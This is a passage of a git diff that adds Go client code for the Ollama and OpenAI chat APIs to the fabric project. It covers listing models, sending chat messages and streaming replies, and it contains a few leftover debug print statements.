+ "Enter your Ollama URL (as a reminder, it is usually http://localhost:11434)")
+
+ return
+}
+
+type Client struct {
+ *common.Configurable
+ ApiUrl *common.SetupQuestion
+
+ apiUrl *url.URL
+ client *ollamaapi.Client
+}
+
+func (o *Client) configure() (err error) {
+ if o.apiUrl, err = url.Parse(o.ApiUrl.Value); err != nil {
+ fmt.Printf("cannot parse URL: %s: %v\n", o.ApiUrl.Value, err)
+ return
+ }
+
+ o.client = ollamaapi.NewClient(o.apiUrl, &http.Client{Timeout: 10000 * time.Millisecond})
+ return
+}
+
+func (o *Client) ListModels() (ret []string, err error) {
+ ctx := context.Background()
+
+ var listResp *ollamaapi.ListResponse
+ if listResp, err = o.client.List(ctx); err != nil {
+ return
+ }
+
+ for _, mod := range listResp.Models {
+ ret = append(ret, mod.Model)
+ }
+ return
+}
+
+func (o *Client) SendStream(msgs []*common.Message, opts *common.ChatOptions, channel chan string) (err error) {
+ req := o.createChatRequest(msgs, opts)
+
+ respFunc := func(resp ollamaapi.ChatResponse) (streamErr error) {
+ channel <- resp.Message.Content
+ return
+ }
+
+ ctx := context.Background()
+
+ if err = o.client.Chat(ctx, &req, respFunc); err != nil {
+ return
+ }
+
+ close(channel)
+ return
+}
+
+func (o *Client) Send(msgs []*common.Message, opts *common.ChatOptions) (ret string, err error) {
+ bf := false
+
+ req := o.createChatRequest(msgs, opts)
+ req.Stream = &bf
+
+ respFunc := func(resp ollamaapi.ChatResponse) (streamErr error) {
+ fmt.Print(resp.Message.Content)
+ fmt.Printf("FRED ==> \n")
+ ret = resp.Message.Content
+ return
+ }
+
+ ctx := context.Background()
+
+ if err = o.client.Chat(ctx, &req, respFunc); err != nil {
+ fmt.Printf("FRED --> %s\n", err)
+ }
+ return
+}
+
+func (o *Client) createChatRequest(msgs []*common.Message, opts *common.ChatOptions) (ret ollamaapi.ChatRequest) {
+ messages := lo.Map(msgs, func(message *common.Message, _ int) (ret ollamaapi.Message) {
+ return ollamaapi.Message{Role: message.Role, Content: message.Content}
+ })
+
+ options := map[string]interface{}{
+ "temperature": opts.Temperature,
+ "presence_penalty": opts.PresencePenalty,
+ "frequency_penalty": opts.FrequencyPenalty,
+ "top_p": opts.TopP,
+ }
+
+ ret = ollamaapi.ChatRequest{
+ Model: opts.Model,
+ Messages: messages,
+ Options: options,
+ }
+ return
+}
diff --git a/vendors/openai/openai.go b/vendors/openai/openai.go
new file mode 100644
index 0000000..9333cfc
--- /dev/null
+++ b/vendors/openai/openai.go
@@ -0,0 +1,129 @@
+package openai
+
+import (
+ "context"
+ "errors"
+ "fmt"
+ "io"
+
+ "github.com/danielmiessler/fabric/common"
+ "github.com/samber/lo"
+ "github.com/sashabaranov/go-openai"
+ goopenai "github.com/sashabaranov/go-openai"
+)
+
+func NewClient() (ret *Client) {
+ return NewClientCompatible("OpenAI", nil)
+}
+
+func NewClientCompatible(vendorName string, configureCustom func() error) (ret *Client) {
+ ret = &Client{}
+
+ if configureCustom == nil {
+ configureCustom = ret.configure
+ }
+
+ ret.Configurable = &common.Configurable{
+ Label: vendorName,
+ EnvNamePrefix: common.BuildEnvVariablePrefix(vendorName),
+ ConfigureCustom: configureCustom,
+ }
+
+ ret.ApiKey = ret.AddSetupQuestion("API key", true)
+
+ return
+}
+
+type Client struct {
+ *common.Configurable
+ ApiKey *common.SetupQuestion
+ ApiClient *openai.Client
+}
+
+func (o *Client) configure() (ret error) {
+ o.ApiClient = openai.NewClient(o.ApiKey.Value)
+ return
+}
+
+func (o *Client) ListModels() (ret []string, err error) {
+ var models openai.ModelsList
+ if models, err = o.ApiClient.ListModels(context.Background()); err != nil {
+ return
+ }
+
+ model := models.Models
+ for _, mod := range model {
+ ret = append(ret, mod.ID)
+ }
+ return
+}
+
+func (o *Client) SendStream(
+ msgs []*common.Message, opts *common.ChatOptions, channel chan string,
+) (err error) {
+ req := o.buildChatCompletionRequest(msgs, opts)
+ req.Stream = true
+
+ var stream *openai.ChatCompletionStream
+ if stream, err = o.ApiClient.CreateChatCompletionStream(context.Background(), req); err != nil {
+ fmt.Printf("ChatCompletionStream error: %v\n", err)
+ return
+ }
+
+ defer stream.Close()
+
+ for {
+ var response openai.ChatCompletionStreamResponse
+ if response, err = stream.Recv(); err == nil {
+ channel <- response.Choices[0].Delta.Content
+ } else if errors.Is(err, io.EOF) {
+ channel <- "\n"
+ close(channel)
+ err = nil
+ break
+ } else if err != nil {
+ fmt.Printf("\nStream error: %v\n", err)
+ break
+ }
+ }
+ return
+}
+
+func (o *Client) Send(msgs []*common.Message, opts *common.ChatOptions) (ret string, err error) {
+ req := o.buildChatCompletionRequest(msgs, opts)
+
+ var resp goopenai.ChatCompletionResponse
+ if resp, err = o.ApiClient.CreateChatCompletion(context.Background(), req); err != nil {
+ return
+ }
+ ret = resp.Choices[0].Message.Content
+ return
+}
+
+func (o *Client) buildChatCompletionRequest(
+ msgs []*common.Message, opts *common.ChatOptions,
+) (ret goopenai.ChatCompletionRequest) {
+ messages := lo.Map(msgs, func(message *common.Message, _ int) goopenai.ChatCompletionMessage {
+ var role string
+
+ switch message.Role {
+ case "user":
+ role = goopenai.ChatMessageRoleUser
+ case "system":
+ role = goopenai.ChatMessageRoleSystem
+ default:
+ role = goopenai.ChatMessageRoleSystem
+ }
+ return goopenai.ChatCompletionMessage{Role: role, Content: message.Content}
+ })
+
+ ret = goopenai.ChatCompletionRequest{
+ Model: opts.Model,
+ Temperature: float32(opts.Temperature),
+ TopP: float32(opts.TopP),
+ PresencePenalty: float32(opts.PresencePenalty),
+ FrequencyPenalty: float32(opts.FrequencyPenalty),
+ Messages: messages,
+ }
+ return
+}
+
-
-# `/extractwisdom`
-
-